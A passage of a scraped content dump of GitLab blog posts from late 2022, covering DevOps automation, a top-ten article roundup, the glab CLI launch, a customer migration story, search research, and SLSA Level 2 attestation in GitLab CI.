networks, and storage systems.\n\n4. Continuous integration (CI) – This is the step that enables the DevOps practice of iteration by committing changes to a shared source code repository early and often – often several times a day. [CI](/blog/basics-of-gitlab-ci-updated/) is all about efficiency. By automating manual work and testing code more frequently, teams can iterate faster and deploy new features with fewer bugs more often.\n\n5. Continuous delivery (CD) – This is a software development process that works in conjunction with continuous integration to automate the application release process. When [deployments are handled automatically](/blog/cd-automated-integrated/), software release [processes are low-risk, consistent, and repeatable](/blog/boring-solutions-faster-iteration/). \n\n6. Monitoring – This is a proactive, automated part of the process, focused on tracking software, infrastructure, and networks to trace status and raise alerts to problems. [Monitoring](/stages-devops-lifecycle/monitor/) increases security, reliability, and agility. \n\n## Automation by the numbers\n\nIn fact, the [GitLab 2022 Global DevSecOps Survey](https://learn.gitlab.com/dev-survey-22/2022-devsecops-report), which polled more than 5,000 DevSecOps professionals, showed that automation is becoming increasingly critical to all DevOps teams.\n\nThe survey found that 47% of teams report their testing is fully automated today, up from 25% last year. Another 21% plan to roll out test automation at some point in 2022, and 15% hope to do so in the next two or more years. And three-quarters of respondents told us their teams use a DevSecOps platform or plan to use one this year. \n\nWhy are they using a platform? Well, security professionals called out easier automation and more streamlined deployments.\n\n## Fewer repetitive and unnecessary tasks\n\nSo what is all of this automation enabling DevOps professionals to do? They’re able to let go of a lot of work. \n \nAccording to the DevSecOps Survey, respondents said they’ve been able to reduce a lot of repetitive tasks. For instance, they say they no longer have to do as much infrastructure “handholding” — they’re not manually testing their code, writing messy code, and ignoring code quality. \n \nWith automation, each task is performed identically and with consistency, reliability, and accuracy. This promotes speed and increases deliveries, and, ultimately, deployments. While it doesn’t remove humans from the picture, automation minimizes dependency on humans for managing recurring tasks. \n\nAnd with GitLab’s single, end-to-end DevSecOps platform, automation is a system feature and not something that has to be added in. Automation with the GitLab platform is ready to go. Check out the [“Ditching DIY DevOps for GitLab’s Single Platform”](https://page.gitlab.com/resources-ebook-trading-diy-devops-for-a-single-platform.html) to learn more ways a platform can help DevOps teams.\n",[4103,2368,1384,1385],{"slug":11604,"featured":6,"template":678},"how-automation-is-making-devops-pros-jobs-easier","content:en-us:blog:how-automation-is-making-devops-pros-jobs-easier.yml","How Automation Is Making Devops Pros Jobs Easier","en-us/blog/how-automation-is-making-devops-pros-jobs-easier.yml","en-us/blog/how-automation-is-making-devops-pros-jobs-easier",{"_path":11610,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11611,"content":11616,"config":11622,"_id":11624,"_type":16,"title":11625,"_source":17,"_file":11626,"_stem":11627,"_extension":20},"/en-us/blog/top-10-technical-articles-of-2022",{"title":11612,"description":11613,"ogTitle":11612,"ogDescription":11613,"noIndex":6,"ogImage":10029,"ogUrl":11614,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11614,"schema":11615},"Top 10 technical articles of 2022","Let’s review our fantastic year of how-to guides. From fixing failed pipelines to making the best use of GitOps, we have you covered with our in-depth tutorials.","https://about.gitlab.com/blog/top-10-technical-articles-of-2022","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top 10 technical articles of 2022\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-12-08\",\n      }",{"title":11612,"description":11613,"authors":11617,"heroImage":10029,"date":11619,"body":11620,"category":734,"tags":11621},[11618],"Valerie Silverthorne","2022-12-08","\nWith 2022 coming to a close, we wanted to ensure everyone gets one more chance to explore our top 10 technical blog posts of the year. Roll up your sleeves and enjoy our most-viewed how-to articles and don’t forget to bookmark them for next year!\n\n## 1. Failed pipeline? \n\nWe have *all* been there, and not much is more frustrating than that red X. Staff Developer Evangelist [Brendan O’Leary](/company/team/#brendan) offers his best advice on troubleshooting the “why?” of a GitLab failed pipeline – it starts with keeping the right perspective. So many factors are involved in code development that it’s critical to ask all of the questions: Is it the code? Is it the test? Is it a vulnerability, etc.?\n\n[How to troubleshoot a GitLab pipeline failure](/blog/how-to-troubleshoot-a-gitlab-pipeline-failure/)\n\n## 2. Why Git Rebase is your BFF\n\nWith code review increasingly important to successful DevOps, Senior Backend Engineer (Gitaly) [Christian Couder](/company/team/#chriscool) thinks devs might be forgetting a secret weapon in their IDE: Git Rebase. Learn how to rework commits with Git Rebase, including expert tips to try different instructions like ‘reword’, ‘edit’, and ‘squash’.\n\n[Take advantage of Git Rebase](/blog/take-advantage-of-git-rebase/)\n\n## 3. Alert fatigue is real\n\nFollow along with Senior Site Reliability Engineer [Steve Azzopardi](/company/team/#steveazz) as he lays out a GitLab investigation into annoying, time-consuming (and customer-facing) 502 errors in the GitLab Pages logs. To uncover the problem, Azzopardi and team had to unearth some red herrings along the way, but ultimately discovered the importance of PID 1 in a container.\n\n[How we reduced 502 errors by caring about PID 1 in containers](/blog/how-we-removed-all-502-errors-by-caring-about-pid-1-in-kubernetes/)\n\n## 4. More pipelines = less complexity\n\nCI/CD is at the heart of most modern DevOps practices, but that doesn’t mean it’s a “set it and forget it.” Staff Backend Engineer Fabio Pittino acknowledges the complexity challenges of CI/CD and suggests the solution is choosing the right pipelines for the job. Understand the differences between parent-child and multi-project pipelines to streamline your CI/CD efforts.\n\n[Breaking down CI/CD complexity with parent-child and multi-project pipelines](/blog/parent-child-vs-multi-project-pipelines/)\n\n## 5. Hacking and bug bounties\n\nHow did a Swedish web developer go from zero to number seven on our HackerOne Top 10 list in just over a year? Johan Carlsson offers a detailed look at how and why he started looking for bugs in GitLab in his spare time, and how others can jump into hacking, too.\n\n[Want to start hacking? Here’s how to quickly dive in](/blog/cracking-our-bug-bounty-top-10/)\n\n## 6. Gitlab… on an iPad\n\nYes, you can code on an M1-chip-based iPad, and Staff Developer Evangelist Brendan O’Leary walks through all the necessary steps to get GitLab running using GitPod.\n\n[How to code, build, and deploy from an iPad using GitLab and GitPod](/blog/how-to-code-build-and-deploy-from-an-ipad-using-gitlab-and-gitpod/)\n\n## 7. Speed up database changes\n\nMany DevOps teams have mastered speedy application code changes but have struggled to make database updates equally streamlined. In this step-by-step guide, you’ll learn how to apply DevOps principles to database change management.\n\n[How to bring DevOps to the database with GitLab and Liquibase](/blog/how-to-bring-devops-to-the-database-with-gitlab-and-liquibase/)\n\n## 8. A primer on IaC security\n\nInfrastructure as Code (IaC) is an increasingly popular solution for DevOps teams, and with good reason: It’s an efficient and low-resource solution. But, as Senior Developer Evangelist [Michael Friedrich](/company/team/#dnsmichi) explains, it’s also ripe with potential security vulnerabilities. Friedrich takes an exhaustive look at the threats, tools, integrations, and strategies that make IaC a safer choice.\n\n[Fantastic Infrastructure as Code security attacks and how to find them](/blog/fantastic-infrastructure-as-code-security-attacks-and-how-to-find-them/)\n\n## 9. Everything you need to know about GitOps \n\nWant to know how to make GitLab work with GitOps? Senior Product Manager (Configure) [Viktor Nagy](/company/team/#nagyv-gitlab) created an eight-part tutorial covering everything GitLab and GitOps, culminating in how to make a GitLab agent for Kubernetes self-managing. \n\n[The ultimate guide to GitOps with GitLab](/blog/the-ultimate-guide-to-gitops-with-gitlab/)\n\n## 10. The skinny on static site generators\n\nDevs will get the most out of GitLab Pages by choosing the right static site generator (SSG). Developer Evangelist [Fatima Sarah Khalid](/company/team/#sugaroverflow) reviews six options and has also created a toolkit to help make the SSG evaluation process easier.\n\n[How to choose the right static site generator](/blog/comparing-static-site-generators/)\n\n",[4103,696,1067],{"slug":11623,"featured":6,"template":678},"top-10-technical-articles-of-2022","content:en-us:blog:top-10-technical-articles-of-2022.yml","Top 10 Technical Articles Of 2022","en-us/blog/top-10-technical-articles-of-2022.yml","en-us/blog/top-10-technical-articles-of-2022",{"_path":11629,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11630,"content":11636,"config":11641,"_id":11643,"_type":16,"title":11644,"_source":17,"_file":11645,"_stem":11646,"_extension":20},"/en-us/blog/introducing-the-gitlab-cli",{"title":11631,"description":11632,"ogTitle":11631,"ogDescription":11632,"noIndex":6,"ogImage":11633,"ogUrl":11634,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11634,"schema":11635},"Put `glab` at your fingertips with the GitLab CLI","We just adopted the `glab` project. Here's what's next and how to contribute!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682539/Blog/Hero%20Images/newcli.png","https://about.gitlab.com/blog/introducing-the-gitlab-cli","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Put `glab` at your fingertips with the GitLab CLI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kai Armstrong\"}],\n        \"datePublished\": \"2022-12-07\",\n      }",{"title":11631,"description":11632,"authors":11637,"heroImage":11633,"date":11638,"body":11639,"category":299,"tags":11640},[9201],"2022-12-07","\n\nWe want to integrate GitLab with the tools our developers already use and love. This mission drove us to [adopt GitLab Workflow for VS Code](/blog/use-gitlab-with-vscode/) two years ago and we’ve been iterating on it ever since (spoiler alert: it is an integral part of our [future Web IDE](/blog/the-future-of-the-gitlab-web-ide/)). As we thought about potential next projects, we considered that the common denominator for developers, regardless of their choice of editor, is their terminal.\n\nThis led us to our next charter: to bring GitLab to the CLI to continue streamlining workflows for developers between their most used technologies.\n\nSimilar to our work with VS Code, we wanted to integrate the GitLab DevSecOps platform into all stages of the code writing process. At GitLab, we’re [dedicated to open source](/handbook/engineering/open-source/#we-believe-in-open-source) and we value building in public. It's this commitment to open source and collaboration that helped us take the first step in this project: looking to our community to see if we could partner with them on an existing open source project to bring the CLI to developers faster.\n\n## Improving GitLab’s native CLI experience\n\nI’m happy to share that we’ve adopted the open source project [`glab`](https://gitlab.com/gitlab-org/cli), which will form the foundation of GitLab’s native CLI experience. The GitLab CLI brings GitLab to your terminal, next to [where you’re already working](https://about.gitlab.com/direction/create/editor_extension/#where-we-are-headed) with Git and your code, without switching between applications and browser tabs.\n\n![glab issue list](https://about.gitlab.com/images/blogimages/glabgettingstarted.gif)\n\n### Efficiency at your fingertips\n\nThis integration means developers can now achieve the following tasks without ever leaving the terminal:\n\n- Review issues assigned to you.\n- Create branches and merge requests for those issues.\n- Check the status of pipelines.\n- Approve and merge work.\n\nToo excited? Need a tl;dr RIGHT NOW? We have [GitLab CLI installation](https://gitlab.com/gitlab-org/cli#installation) instructions waiting for you! When setting up [authentication](https://gitlab.com/gitlab-org/cli#authentication), we’ve partnered with 1Password to support their new [Shell Plugins](https://blog.1password.com/shell-plugins/) making it even easier to authenticate your session and keep your credentials secure.\n\n## How did we get here?\n\nMore than two years ago, [Clement Sam](https://gitlab.com/profclems) (a [GitLab Hero](/community/heroes/)) began work on `glab` because he wanted a tool that made his workflow easier and saved time by avoiding the need to switch between browser tabs, IDE and terminal. He initially shared the script with some of his colleagues who also found it helpful. Ultimately, Clement made the decision to open source it and since then over 80 other [contributors](https://github.com/profclems/glab/graphs/contributors) have continued to build on the tool, adding commands to interact with merge requests, issues, pipelines, and more.\n\nWe heard about  `glab` from Clement back in 2020, when the project was still early in its life cycle. We were excited about the area, but couldn’t commit at the time to giving it the long-term support it deserved. Fast forward to 2022. We felt it made sense to check in with Clement to see how the project was progressing. After a few conversations, everyone involved felt that GitLab would be a great home for long-term support and community contributors. We [adopted the project](https://github.com/profclems/glab/issues/983).\n\n## Providing a seamless transition\n\nOver the past several months, we’ve been [transitioning](https://gitlab.com/groups/gitlab-org/-/epics/7514) the project to GitLab. During the transition we’ve learned a lot about what it takes to migrate an active project to new tooling. Our efforts to adapt [GitHub Actions to GitLab CI](https://gitlab.com/groups/gitlab-org/-/epics/7784) have given us great insights into that process as users, and something we’ll be looking to share more about in a future post. We also needed to unwind some previous documentation changes by [converting them back to Markdown](https://gitlab.com/gitlab-org/cli/-/issues/1010), for compatibility with the rest of GitLab’s internal processes.\n\nFurthermore, we knew we needed to provide users with a secure experience. Prior to adoption and launch, our application security team reviewed the project and provided feedback to ensure `glab` was safe, secure, and ready for more users. \n\nWith everything ready to go, we worked across the ecosystem to [update distribution methods](https://gitlab.com/groups/gitlab-org/-/epics/8251) to point to [the new repository](https://gitlab.com/gitlab-org/cli). Our goal was to provide a seamless transition for contributors to continue working, and for users to continue receiving updates.\n\n## Strengthened by community\n\nIt’s taken a small army of people to make the adoption of `glab` complete. A special thanks to [Gary](https://gitlab.com/garyh) who stepped up to lead the engineering efforts on our side. He’s been wonderfully supported by [Kerri](https://gitlab.com/kerrizor), [Tomas](https://gitlab.com/viktomas), and many others inside of GitLab who have had a passion for this project. Our external community has also come along for the ride. We’ve had over [over 35 community contributions](https://gitlab.com/gitlab-org/cli/-/merge_requests?scope=all&state=all&label_name%5B%5D=Community%20contribution), ranging from first-time contributors to seasoned `glab` contributors. (Including Clement, who remains active in the project!).\n\n[GitLab CLI v1.24.1](https://gitlab.com/gitlab-org/cli/-/releases/v1.24.1) contains over 40 new features, bug fixes, security fixes and many more improvements since the last release. You can see the full [changelog](https://gitlab.com/gitlab-org/cli/-/releases/v1.24.1#changelog) on our releases page. Thank you to everyone who’s contributed to make all of this possible.\n\n## Want to get started now?\n\nIf you’re on macOS (and have [Homebrew](https://brew.sh/) installed) the fastest way to get started is by running:\n\n```\nbrew install glab\n```\n\nThis will install the latest version of the GitLab CLI and immediately make it available for you. Not on macOS? We have [installation instructions](https://gitlab.com/gitlab-org/cli#installation) for [Windows](https://gitlab.com/gitlab-org/cli#windows) and [Linux](https://gitlab.com/gitlab-org/cli#linux) too. \n\nAs part of getting things setup, you’ll need to set up the CLI to use a personal access token for [authentication](https://gitlab.com/gitlab-org/cli#authentication). You can do this with the `glab auth login` command and follow the prompts. Alternatively, you can use 1Password Shell Plugins to authenticate your session. With this feature, you can: \n\nSecure your personal access tokens in encrypted 1Password vaults.\nAuthenticate specific terminal sessions to access those tokens by scanning your fingerprint or using other biometrics. \n\nThis approach eliminates the need to type tokens or passwords into the terminal while removing plaintext keys from your disk. Plus, as you work across devices or environments, your key moves with you in 1Password, reducing setup time and simplifying collaboration. [Check out the 1Password documentation to get started.](https://developer.1password.com/docs/cli/shell-plugins/gitlab/).\n\n![1Password documentation](https://about.gitlab.com/images/blogimages/1passworddocumentation.png)\n\n\n## What are we doing next?\n\nNow that we’ve officially released the GitLab CLI, we’re going to spend some time taking a closer look at the issue backlog. We want to learn what the community is looking for in a CLI tool, and where opportunities exist to extend capabilities further into developer workflows. You’ll see the GitLab team more involved in discussing feature proposals and triaging bugs as we continue to ramp up on the project.\n\n## What do you want to see?\n\nThe GitLab CLI was born out of the community, and we want to continue collaborating with all of you in its future direction. If you have ideas for new features or encounter a bug, [open an issue](https://gitlab.com/gitlab-org/cli) and let us know or – in true GitLab form – [everything starts with a merge request](https://gitlab.com/gitlab-org/cli).\n",[695,815,282],{"slug":11642,"featured":6,"template":678},"introducing-the-gitlab-cli","content:en-us:blog:introducing-the-gitlab-cli.yml","Introducing The Gitlab Cli","en-us/blog/introducing-the-gitlab-cli.yml","en-us/blog/introducing-the-gitlab-cli",{"_path":11648,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11649,"content":11654,"config":11660,"_id":11662,"_type":16,"title":11663,"_source":17,"_file":11664,"_stem":11665,"_extension":20},"/en-us/blog/how-we-increased-our-release-velocity-with-gitlab",{"title":11650,"description":11651,"ogTitle":11650,"ogDescription":11651,"noIndex":6,"ogImage":11122,"ogUrl":11652,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11652,"schema":11653},"How we increased our release velocity with GitLab","Learn Evolphin's challenges, reasons for choosing the DevSecOps platform, and our end state following the transition.","https://about.gitlab.com/blog/how-we-increased-our-release-velocity-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we increased our release velocity with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rahul Bhargava, CTO, Evolphin\"}],\n        \"datePublished\": \"2022-12-05\",\n      }",{"title":11650,"description":11651,"authors":11655,"heroImage":11122,"date":11657,"body":11658,"category":2702,"tags":11659},[11656],"Rahul Bhargava, CTO, Evolphin","2022-12-05","\nAt Evolphin, we have a remotely-distributed software development team creating the [Evolphin Zoom Media Asset Management system](https://evolphin.com/media-asset-management/). Our core R&D team is split across multiple geographies, with staff in India, the U.S., and the Philippines, as well as freelancers around the world. We needed to find new ways to address our team challenges and increase the pace of delivery of our product updates to Evolphin Zoom suite, in response to our customer needs. This blog outlines our challenges, reasons for choosing GitLab, and our end state, including a 30% to 40% increase in our release velocity, following the transition.\n\n## What is a media asset management system? \n\nWith the increased demand for video content for entertainment, marketing, customer engagement, etc., media asset management systems have become increasingly popular for collaborating, organizing, and archiving rich media assets. \n\nThe assorted camera card types, encoding formats, and publishing demands of social media and other video-on-demand services create a heterogenous content creation and publishing industry desperate for order. Media asset management systems are a timely answer to the problem of managing and unifying the diverse media assets characteristic of the industry.\n\nAt Evolphin, we’re at the heart of this solution with the Evolphin Zoom Media Asset Management system, an enterprise offering that runs on approximately 4.7 million lines of source code. To address the root of the problem, media asset management products like Evolphin Zoom must rapidly evolve - add new or enhance existing features - to meet customers’ ever-changing needs.\n\n## The problem: Slow updates\n\nBefore adopting GitLab, we used Subversion (Tortoise as the UI) as our source code repository and software version management system. We chose Subversion at the time because we needed an on-premises solution, as cloud-based branch management was not widely adopted in 2012 when we started working on the Evolphin Zoom. \n\nOur branching and merging workflow with Subversion was tedious, slow, and complicated. It took us around four to five weeks to manually manage and merge software changes across branches within this system. This meant that releasing each product update took five weeks at the very minimum. \n\n## Our requirement: Better collaboration for branch management\n\nWe needed a more agile solution to remain responsive to our customers' needs in this fast-paced software development environment. \n\nAs we transitioned to a remotely distributed workforce model, we identified a need for a software version management system designed with decentralized teams in mind. We wanted to be able to create a user story for a new feature in one week, test it with beta users the next week, and release it in production the week after. \n\nFor this level of agility, an affordable, open-source software repository with a platform like GitLab seemed the perfect solution.\n\n## Why GitLab?\n\nWith all the necessary tools for software review management and collaboration, GitLab appeared to fit our needs. \n\nThe ability to remotely check changes into a feature branch meant that users could check in a version and trigger a merge request for approval before merging changes from the remote user’s branch into the main software development branch. \n\nAll these features were available under GitLab’s free community version, with a user-friendly, visually-appealing UI that eased our transition from on-premises to cloud-based development. \n\n## End-state with GitLab\n\nHere is our workflow in numbers:\n\n| Total GitLab projects managed | 44  \t   \t\t\t\t\t\t|\t\n| Total branches \t\t\t\t| 514\t   \t\t\t\t\t\t|\n| Total repo size\t\t\t\t| 10.03 GB \t\t\t\t\t\t|\n| Total users\t\t\t\t\t| 33\t   \t\t\t\t\t\t|\n| Total groups\t\t\t\t\t| 15 \t   \t\t\t\t\t\t|\n| MFA-enabled\t\t\t\t\t| Yes \t   \t\t\t\t\t\t|\n| Number of files\t\t\t\t| 26125 text files  \t\t\t|\n| Number of unique files\t\t| 25090 unique files\t\t\t|\n| Code\t\t\t\t\t\t\t| 4,738,187 lines of code \t   \t|\n| GitLab product plan\t\t\t| Community plan on the cloud\t|\n\n\nOur new workflow depends on GitLab as the single source of truth for all our source code, binary dependencies, and DevOps projects. We currently have GitLab integrations with our CI/CD pipeline using Jenkins and our issue-tracking system - JetBrains YouTrack. Besides source code management (SCM), we use code review features frequently. In addition,  all our internal docs, requirements gathering, tips and tricks between developers, DevOps, and QA are shared in Wiki. All our collaboration happens over GitLab Wikis and SCM. Our developers and DevOps engineers use the same GitLab repo to make it easy to manage source code and build artifacts for deployment.\n\nSince the pandemic started, we have executed several Amazon Web Services (AWS) cloud-based deployments. Some of our DevOps projects in GitLab are integrated with the AWS cloud formation stacks/scripts to enable consistent tenant deployments for our cloud customers.\n\n## Impact on Evolphin’s customers\n\nThe biggest transformation we noticed from adopting GitLab was a more seamless, collaborative, and efficient workflow for our R&D teams. \n\nFor example, a bug fix could be implemented in branches by developers working in parallel, which could then be merged into a pre-production branch for QA. Following the QA review, changes can be pushed to the main production branch for release. \n\nBeing open source, we can easily integrate with CI/CD platforms and the new workflow significantly improved our productivity regarding feature releases, especially taking into consideration our high volume of product updates. With GitLab, we can execute feature releases two to three weeks faster than previously. This includes twice-monthly feature changes, and monthly security updates, with annual major product changes. Overall, our release velocity increased by 30% to 40% just by switching from Subversion to a GitLab-based workflow.\n\n_Rahul Bhargava is the CTO and founder of Evolphin Software._\n",[1268,2368,110],{"slug":11661,"featured":6,"template":678},"how-we-increased-our-release-velocity-with-gitlab","content:en-us:blog:how-we-increased-our-release-velocity-with-gitlab.yml","How We Increased Our Release Velocity With Gitlab","en-us/blog/how-we-increased-our-release-velocity-with-gitlab.yml","en-us/blog/how-we-increased-our-release-velocity-with-gitlab",{"_path":11667,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11668,"content":11674,"config":11680,"_id":11682,"_type":16,"title":11683,"_source":17,"_file":11684,"_stem":11685,"_extension":20},"/en-us/blog/lets-all-search",{"title":11669,"description":11670,"ogTitle":11669,"ogDescription":11670,"noIndex":6,"ogImage":11671,"ogUrl":11672,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11672,"schema":11673},"Let's all search!","We spoke with you about our search tools. Now we've got some issues we'd like your help on.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679339/Blog/Hero%20Images/AdvancedSearch.png","https://about.gitlab.com/blog/lets-all-search","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Let's all search!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Will Leidheiser\"}],\n        \"datePublished\": \"2022-12-01\",\n      }",{"title":11669,"description":11670,"authors":11675,"heroImage":11671,"date":11677,"body":11678,"category":813,"tags":11679},[11676],"Will Leidheiser","2022-12-01","\n\nEarlier this year, our research team set out to learn how users search for GitLab content and to better understand their experience with our [global search](https://docs.gitlab.com/ee/user/search/) and [advanced search](https://docs.gitlab.com/ee/user/search/advanced_search.html) tools. We spoke with 12 GitLab users individually over the course of a four-week span to get their [feedback on our search capabilities](https://gitlab.com/groups/gitlab-org/-/epics/8193). \n\n![Getting feedback from GitLab users](https://about.gitlab.com/images/blogimages/2022-11-21-lets-all-search/Talking_to_GitLab_users.png){: .shadow.medium.center}\nA researcher talking with GitLab users to gather their feedback.\n{: .note.text-center}\n\n## Research insights\n\nOur research identified that the discoverability of our search could be better. Some users had never tried out our search capabilities because they did not know we had a search bar inside of GitLab. The search bar [did not visually stand out](https://gitlab.com/groups/gitlab-org/-/epics/8275) to some GitLab users, so this led them to try other means (e.g., using their web browser URL history or using another external application) to find content. In addition, we learned that even long-time users of the GitLab search bar were [unaware of the kinds of content it could find](https://gitlab.com/groups/gitlab-org/-/epics/8274). As we encouraged users to try out the search tools for our study, they would uncover new information either through exposure or by reading our documentation.\n\nOur research helped the Global Search Product team at GitLab with future roadmap planning. Now, we need the support of our community to make iterative improvements to GitLab search tools. We have identified **two** actionable insight issues that you can contribute to directly to improve the search experience for all GitLab users. \n\n## Community contribution issues\n\n- In order to make the search bar stand out, we're proposing a change to [improve the contrast of the search bar](https://gitlab.com/gitlab-org/gitlab/-/issues/330925) in the GitLab navigation header. This change would greatly support the accessibility of our site and would assist users when looking for a way to search for content.\n\n![Update to improve the contrast of our search bar](https://about.gitlab.com/images/blogimages/2022-11-21-lets-all-search/Focus.png){: .shadow.medium.center}\nA visual mock-up of improved contrast for the GitLab search bar.\n{: .note.text-center} \n\n- Improve the search experience by [providing hints](https://gitlab.com/gitlab-org/gitlab/-/issues/364402) about the kinds of content that the GitLab search bar can find. This change would prompt users with different ideas of what they can do with the search bar, so they can learn about our functionality without having to read through documentation.\n\n![Hints in the search bar](https://about.gitlab.com/images/blogimages/2022-11-21-lets-all-search/Placeholder_Options.png){: .shadow.medium.center}\nSome examples of hints that would be shown in the GitLab search bar.\n{: .note.text-center}\n\n## Let's contribute\n\nWondering where to start? Check out [this blog post](/blog/first-time-open-source-contributor-5-things-to-get-you-started) and [our development guide](/community/contribute/development/) and become an all-star contributor!\n\nNeed guidance or help? Feel free to leave a comment directly on one of the issues linked above, or find support in the \"get help\" section [in our contributing guide](/community/contribute/#getting-help).\n\n**Let's all contribute to GitLab's search!**\n",[2704,267,815,1307,2249],{"slug":11681,"featured":6,"template":678},"lets-all-search","content:en-us:blog:lets-all-search.yml","Lets All Search","en-us/blog/lets-all-search.yml","en-us/blog/lets-all-search",{"_path":11687,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11688,"content":11693,"config":11698,"_id":11700,"_type":16,"title":11701,"_source":17,"_file":11702,"_stem":11703,"_extension":20},"/en-us/blog/achieve-slsa-level-2-compliance-with-gitlab",{"title":11689,"description":11690,"ogTitle":11689,"ogDescription":11690,"noIndex":6,"ogImage":10952,"ogUrl":11691,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11691,"schema":11692},"Achieve SLSA Level 2 compliance with GitLab","Compliance mandates call for controls to prevent software tampering, improve integrity of builds and artifacts, and support attestation. Here's how GitLab can help.","https://about.gitlab.com/blog/achieve-slsa-level-2-compliance-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Achieve SLSA Level 2 compliance with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-11-30\",\n      }",{"title":11689,"description":11690,"authors":11694,"heroImage":10952,"date":11695,"body":11696,"category":674,"tags":11697},[3281],"2022-11-30","\n\nOrganizations are under intense pressure from governing bodies to attest to the fact that their software supply chains have not been tampered with. The industry has come together to create an industry standard, Supply chain Levels for Software Artifacts ([SLSA](https://slsa.dev/)), to guide companies on exactly how to achieve such attestation. GitLab helps organizations comply with SLSA requirements by incorporating attestation capabilities into its DevSecOps platform.\n\n“Although SLSA compliance is relatively new, security-conscious DevOps teams are already adopting its requirements to demonstrate their software is trustworthy,” says [Sam White](https://gitlab.com/sam.white), Group Manager of Product for the [Govern stage](/direction/govern/) at GitLab. \n\nGitLab Federal CTO [Joel Krooswyk](https://gitlab.com/jkrooswyk) agrees. “DevOps teams will need to understand attestation as part of new government regulations around the larger release verification process. Vendors, third-party development and integration providers, and other data-sensitive industries will be required to adhere to published guidance,” he says. “GitLab helps companies across all sectors address these compliance mandates.”\n\n## What is SLSA?\n\nSLSA first launched in 2021 in response to calls for a framework to [secure software supply chains](/blog/the-ultimate-guide-to-software-supply-chain-security/). SLSA provides a checklist of standards and controls to prevent tampering, improve integrity, and secure packages and infrastructure. The goal is for software developers to be able to use best practices to [guarantee the integrity](/blog/securing-the-software-supply-chain-through-automated-attestation/) of each and every artifact, more specifically that the source code users are relying on is the code they are actually using and that the build machine producing the artifacts was secure.\n\nThe SLSA standard has four levels that examine the builds, sources, and dependencies in open source and commercial software. The levels build on one another, growing from simple visibility and being able to generate provenance to providing the highest assurances of build integrity and measures for dependency management.\n\nGitLab’s DevSecOps platform currently supports SLSA Levels 1 and 2. GitLab makes it simple for users to comply with these first two levels, according to White. “Whether you are working on an open source project or developing commercial software, there is no reason not to generate provenance for your code and attest to it. Even if you are just tinkering around, there is no harm in following the SLSA specifications,” he says.\n\n## How to generate artifact metadata with the GitLab Runner\n\nGitLab enables users to generate artifact metadata following the SLSA format for any artifacts that are built on the platform. Because the process happens within the GitLab Runner, without needing third-party software, it prevents the opportunity for any tampering or corruption of the attestation itself.\n\nTo generate an attestation, all that is required is to simply set `RUNNER_GENERATE_ARTIFACTS_METADATA: true` in your `.gitlab-ci.yml` file. You can set the variable globally or on a per-job basis. A CI pipeline then will produce a data.txt file and generate metadata to describe how that file was produced and verify the origin of it or the provenance of it. Users can download this artifact file, which comes as a zip file with the two files inside of it – one is the data.txt and the other is an artifacts metadata .json file.\n\nThe file offers metadata about what was done and it lists out all of the different parameters and input points, including the SHA hash of the file itself as well as the hash of the repository.\n\n“This level of detail enables someone to come in later and get an idea of the steps that were taken in order to produce it as well as information about where it was built so someone can protect their artifacts and reduce the chance of tampering,” White says.\n\n\nFollow the step-by-step instructions here:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/MlIdqrDgI8U\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThe idea of all this, White explains, is to provide a recipe for how the file was built so that if a DevOps team needed to replicate it, they could use those instructions on another machine and get the same build.\n\n## GitLab’s next SLSA step\n\nAs SLSA matures, GitLab plans to [introduce additional features](/direction/supply-chain/), such as the ability to sign the attestation, to guide DevOps teams through SLSA Levels 3 and 4. For instance, users currently can use an external code signer to verify the signing and verify the attestation but the ideal state would be to integrate code signing functionality directly into the platform. GitLab also plans to add capabilities that enable more detailed inspection and validation of attestations from upstream dependencies.\n\n**Disclaimer This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.**\n\n",[943,674,815,185],{"slug":11699,"featured":6,"template":678},"achieve-slsa-level-2-compliance-with-gitlab","content:en-us:blog:achieve-slsa-level-2-compliance-with-gitlab.yml","Achieve Slsa Level 2 Compliance With Gitlab","en-us/blog/achieve-slsa-level-2-compliance-with-gitlab.yml","en-us/blog/achieve-slsa-level-2-compliance-with-gitlab",{"_path":11705,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11706,"content":11712,"config":11716,"_id":11718,"_type":16,"title":11719,"_source":17,"_file":11720,"_stem":11721,"_extension":20},"/en-us/blog/introducing-gitlab-dedicated",{"title":11707,"description":11708,"ogTitle":11707,"ogDescription":11708,"noIndex":6,"ogImage":11709,"ogUrl":11710,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11710,"schema":11711},"Introducing GitLab Dedicated, our new single-tenant SaaS 